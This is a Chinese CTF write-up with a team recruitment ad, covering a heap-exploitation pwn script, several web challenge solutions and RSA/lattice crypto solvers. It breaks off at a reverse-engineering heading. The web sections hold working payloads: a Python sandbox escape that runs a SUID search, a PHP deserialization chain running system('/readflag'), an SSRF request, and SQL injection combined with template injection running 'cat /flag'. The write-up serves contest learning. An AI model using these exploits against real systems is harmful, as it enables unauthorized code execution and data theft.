招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱
[email protected](带上简历和想加入的小组)
Pwn
baby_heap
任意地址写,攻击libc中的got表
uaf,泄露出libc_base利用任意地址写攻击
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
from ae64 import AE64
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))
def get_addr32():
return u32(p.recvuntil("xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('',)
p = process('./pwn')
def malloc(size):
sla(': ','1')
sla('e ',str(size))
def free(idx):
sla(': ', '2')
sla(': ', str(idx))
def show(idx):
sla(': ', '4')
sla(': n', str(idx))
rl('here n')
malloc(0x700)
malloc(0x10)
free(1)
show(1)
libc_base = u64(p.recv(8))-0x21ace0
li(hex(libc_base))
got = libc_base + 0x00000000021A118
sla(': ', '0')
s(p64(got))
s(p64(libc_base+libc.symbols['puts']))
sla(': ', '5')
sl('2')
inter()
Web:
PyBlockly
特殊字符绕一下
def convert_to_chinese_unicode(input_string):
symbol_map = {
'-': '\uFF0D',
'.': '\uff0e',
'/': '\uff0f',
'=': '\uff1d',
'>': '\uff1e',
}
converted_string = []
for char in input_string:
if char in symbol_map:
converted_string.append(symbol_map[char])
else:
converted_string.append(char)
return ''.join(converted_string)
if __name__ == "__main__":
input_string = input("input: ")
result = convert_to_chinese_unicode(input_string)
print("output:", result)
Suid 提权
POST /blockly_json HTTP/1.1
Host: eci-2ze51q7dfugzg8ukbu2u.cloudeci1.ichunqiu.com:5000
Content-Length: 287
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Origin: http://eci-2ze51q7dfugzg8ukbu2u.cloudeci1.ichunqiu.com:5000
Referer: http://eci-2ze51q7dfugzg8ukbu2u.cloudeci1.ichunqiu.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close
{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"jnp.zOdZ8Lu(1#;d.n?p","x":146,"y":57,"fields":{"TEXT":"‘;__builtins__.len = lambda x: 2n__import__("os").system("find / -perm -u=s -type f 2>/dev/null");‘"}}]}}
使用dd
platform
dirsearch扫一扫,扫出源码,审计源码,入口点是依靠过滤函数SessionManager的黑名单替换为空来进行session反序列化逃逸,伪造序列化链,攻击点在notouchitsclass函数的eval函数执行data数据。
username=fewww&password[]=systemsystemeval&password[]=";i:1;s:7:"fewww";}a|O:15:"notouchitsclass":1:{s:4:"data";s:10:"phpinfo();
一开始重定向后没有phpinfo界面,以为要去读取session临时文件,怎么试都不行,后来发现重定向两次就可以了,然后查看根目录,发现可执行文件/readflag,执行就完了。
username=fewww&password[]=systemsystemeval&password[]=";i:1;s:7:"fewww";}a|O:15:"notouchitsclass":1:{s:4:"data";s:20:"system('/readflag');
proxy
POST /v2/api/proxy HTTP/1.1
Host: 47.93.55.85:32908
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close
Content-Type: application/json
Content-Length: 106
{"url":"http://127.0.0.1:8769/v1/api/flag","method":"POST","body":"","headers":{},"follow_redirects":true}
snake
bfs搜索找路径
import requests
import time
from collections import deque
url = "http://eci-2ze816q8joakpaau8x27.cloudeci1.ichunqiu.com:5000/move"
DIRECTIONS = {
"UP": {"direction": "UP"},
"DOWN": {"direction": "DOWN"},
"LEFT": {"direction": "LEFT"},
"RIGHT": {"direction": "RIGHT"}
}
OPPOSITE_DIRECTION = {
"UP": "DOWN",
"DOWN": "UP",
"LEFT": "RIGHT",
"RIGHT": "LEFT"
}
GRID_SIZE = 19
def send_direction(direction):
proxy = {"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
cookie = {"session":"eyJ1c2VybmFtZSI6IjEyMyJ9.ZyY4kA.fMuYYNivo6MuqkmjHkwtjG74D5s"}
response = requests.post(url, json=DIRECTIONS[direction],cookies=cookie,proxies=proxy)
return response.json()
def get_next_position(position, direction):
x, y = position
if direction == "UP":
return x, y - 1
elif direction == "DOWN":
return x, y + 1
elif direction == "LEFT":
return x - 1, y
elif direction == "RIGHT":
return x + 1, y
def bfs(snake_head, food, snake_body):
queue = deque([(snake_head, [])])
visited = set(snake_body)
while queue:
position, path = queue.popleft()
if position == food:
return path[0] if path else None
for direction in ["UP", "DOWN", "LEFT", "RIGHT"]:
next_position = get_next_position(position, direction)
if 0 <= next_position[0] <= GRID_SIZE and 0 <= next_position[1] <= GRID_SIZE:
if next_position not in visited:
visited.add(next_position)
queue.append((next_position, path + [direction]))
return None
def play_game():
direction = "RIGHT"
game_status = send_direction(direction)
while game_status["status"] == "ok":
snake_head = game_status["snake"][0]
food = game_status["food"]
snake_body = set(tuple(pos) for pos in game_status["snake"])
next_direction = bfs(snake_head, tuple(food), snake_body)
if next_direction:
game_status = send_direction(next_direction)
direction = next_direction
print(f"Direction: {next_direction}, Game Status: {game_status}")
else:
print("无法找到安全路径,游戏结束")
break
if __name__ == "__main__":
play_game()
GET /snake_win?username=123%27%20union%20select%204,2,%22{{().__class__.__bases__[0].__subclasses__()}}%22--+ HTTP/1.1
Host: eci-2zecsejgdlggc78x72g5.cloudeci1.ichunqiu.com:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close
定位一下_wrap_close
GET /snake_win?username=123%27%20union%20select%204,2,%22{{().__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat+/flag').read()}}%22--+ HTTP/1.1
Host: eci-2zecsejgdlggc78x72g5.cloudeci1.ichunqiu.com:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en,zh;q=0.9,zh-CN;q=0.8
Connection: close
Crypto:
ezRSA
通过题目我们知道:h = 2gab + a + b,N = 2gh + 1 = (2ga + 1) * (2gb + 1)
可以把N当成N = p * q
知道N,g,e,c,那么h也就知道了,h = (N – 1) // (2g)
又知道h = 2gab + a + b,推出h // (2g) = ab + unknown_x
通过观察位数可以知道unknown_x大概在24bit ,枚举一下即可出,这样之后就相当于ab和a+b已知,解方程即可得到a和b,然后常规解rsa即可得到flag
from Crypto.Util.number import long_to_bytes
import gmpy2
from tqdm import trange
N = 33934949543107823742714781378136490226090704488228587697374540736524183007894424642446699495048335364812450444508199766772365022765148412429954529202592527487856020003130765153615152157659567165071917221597456508667844280873162177827634858743771351311222565293043356653380494679146440537379168699551967862740258745349368028971858232516909439834837835445897414734153598687973652731880627145098471743079270855748246864412852788807131459456534889524100686452285831621936962993878248839368067540836095606499763358647755744774935281093939885054039073684589935444387405854624145636252535346188254487488051318127342310220419
e = 65537
g = 2122588050304195240346961816926124141050741670615026925046454176595025373903465125173096004031199708924868358266854549178455923830496675062116179557497
c = 21199256553475929060551317186315967901796119806032477960569144652579882533961618351133796431499386861352337389169081043125589261971361370080441005656240431825023826288319097827149307481752820669262336820084651862042401263589430478741694302703197030757393278036544829943274049638049031407811301176732945912769252110560483800862155957589692891050107725534788260522912766044236421516261046288454413873207345718271122396084210398701783820384735099995160286931640162104075273445379578242629401143709056133790575138762657978062503527679804789111169502940983952383896669170498505456167017902978685129990540751248042619635814
half_N_minus_1 = (N - 1) // (2 * g)
initial_estimate = half_N_minus_1 // (2 * g)
def calculate_decryptable(a_b):
modified_sum = half_N_minus_1 - a_b * g * 2
discriminant_value = modified_sum**2 - 4 * a_b
if discriminant_value < 0:
return None
sqrt_val = gmpy2.iroot(discriminant_value, 2)
if sqrt_val[1]:
a_result = (modified_sum + sqrt_val[0]) // 2
p_value = 2 * g * a_result + 1
q_value = N // p_value
phi_value = (p_value - 1) * (q_value - 1)
d_value = gmpy2.invert(e, phi_value)
decrypted_msg = gmpy2.powmod(c, d_value, N)
return long_to_bytes(decrypted_msg)
return None
for attempt in trange(2**24, 2**25):
potential_decryption = calculate_decryptable(initial_estimate - attempt)
if potential_decryption:
print(potential_decryption)
break
apbq
题目有3个部分,
第1部分提示p+q, 利用n-(p+q)+1得phi后求逆即可;
第2部分提示100组数据: aip+biq, 0=<i<100. 根据开源代码https://github.com/josephsurin/my-ctf-challenges/blob/main/downunderctf-2023/apbq-rsa-ii/solve/solv.sage,修改选取前4组数据求解即可;
第3部分提示a*p+q,p+bq,由于使用了第2部分数据加密,所以非预期得到flag3。
from Crypto.Util.number import *
hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
n = 89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589
e = 65537
enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
m1 = long_to_bytes(pow(enc1,inverse(e,(n-hints+1)),n))
print(m1)#b'flag{yOu_can_'
"""sage10.x
import itertools
from Crypto.Util.number import long_to_bytes
hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
public_key2 = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)
enc = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
n,e = public_key2
V = hints[:4]
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]
for s, t in itertools.product(range(4), repeat=2):
T = s*B[0] + t*B[1]
a1, a2, a3 ,a4 = T
kq = gcd(a1 * hints[1] - a2 * hints[0], n)
if 1 < kq < n:
print('find!', kq, s, t)
break
for i in range(2**16, 1, -1):
if kq % i == 0:
kq //= i
q = int(kq)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
m = pow(enc, d, n)
flag = long_to_bytes(m).decode()#s0lve_the_@pb
"""
c1 =68510878638370415044742935889020774276546916983689799210290582093686515377232591362560941306242501220803210859757512468762736941602749345887425082831572206675493389611203432014126644550502117937044804472954180498370676609819898980996282130652627551615825721459553747074503843556784456297882411861526590080037
c2 =117882651978564762717266768251008799169262849451887398128580060795377656792158234083843539818050019451797822782621312362313232759168181582387488893534974006037142066091872636582259199644094998729866484138566711846974126209431468102938252566414322631620261045488855395390985797791782549179665864885691057222752
n = 73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819
e = 65537
enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
q = 9067773077510925207378520309595658022345214442920360440202890774224295250116442048990578009377300541280465330975931465993745130297479191298485033569345231
p = int(n // q)
d = pow(0x10001, -1, (p - 1) * (q - 1))
m3 = pow(enc3, d, n)
print(long_to_bytes(m3))#b'q_prob1em!!}'
#b'flag{yOu_can_s0lve_the_@pbq_prob1em!!}'
21step
先看看题目要我们干嘛
在21步以内计算出A的汉明重量,其中A是128bit,并且放进去计算的式子要符合pattern
搜到了这篇文章:https://blog.csdn.net/dopamine_joker/article/details/121029939
看到里面的下面这部分的代码:
def hanmin_32(n):
n = n - ((n >> 1) & 0x55555555)
n = (n & 0x33333333) + ((n >> 2) & 0x33333333)
n = (n + (n >> 4)) & 0x0f0f0f0f
n = n + (n >> 8)
n = n + (n >> 16)
return n & 0x3f
但是是求解32bit的
问ai改编一下变成求128bit的,得到:
def hamming_weight_128(A):
# 1. 第一步:处理相邻两位
A = A - ((A >> 1) & 0x55555555555555555555555555555555)
# 2. 第二步:处理每4位的分组
A = (A & 0x33333333333333333333333333333333) + ((A >> 2) & 0x33333333333333333333333333333333)
# 3. 第三步:处理每8位的分组
A = (A + (A >> 4)) & 0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
# 4. 累加每16位
A = A + (A >> 8)
# 5. 累加每32位
A = A + (A >> 16)
# 6. 累加每64位
A = A + (A >> 32)
# 7. 累加每128位
A = A + (A >> 64)
# 8. 最后将结果限制为 128 位的汉明重量
return A & 0x7f
将式子全部整理一下得到:
Python
B=A>>1; B=B&113427455640312821154458202477256070485; A=A-B;
B=A>>2; B=B&68056473384187692692674921486353642291; A=A&68056473384187692692674921486353642291; A=A+B;
B=A>>4; A=A+B; A=A&20016609818878733144904388672456953615;
B=A>>8; A=A+B;
B=A>>16; A=A+B;
B=A>>32; A=A+B;
B=A>>64; A=A+B; A=A&127;
Reverse:
mips
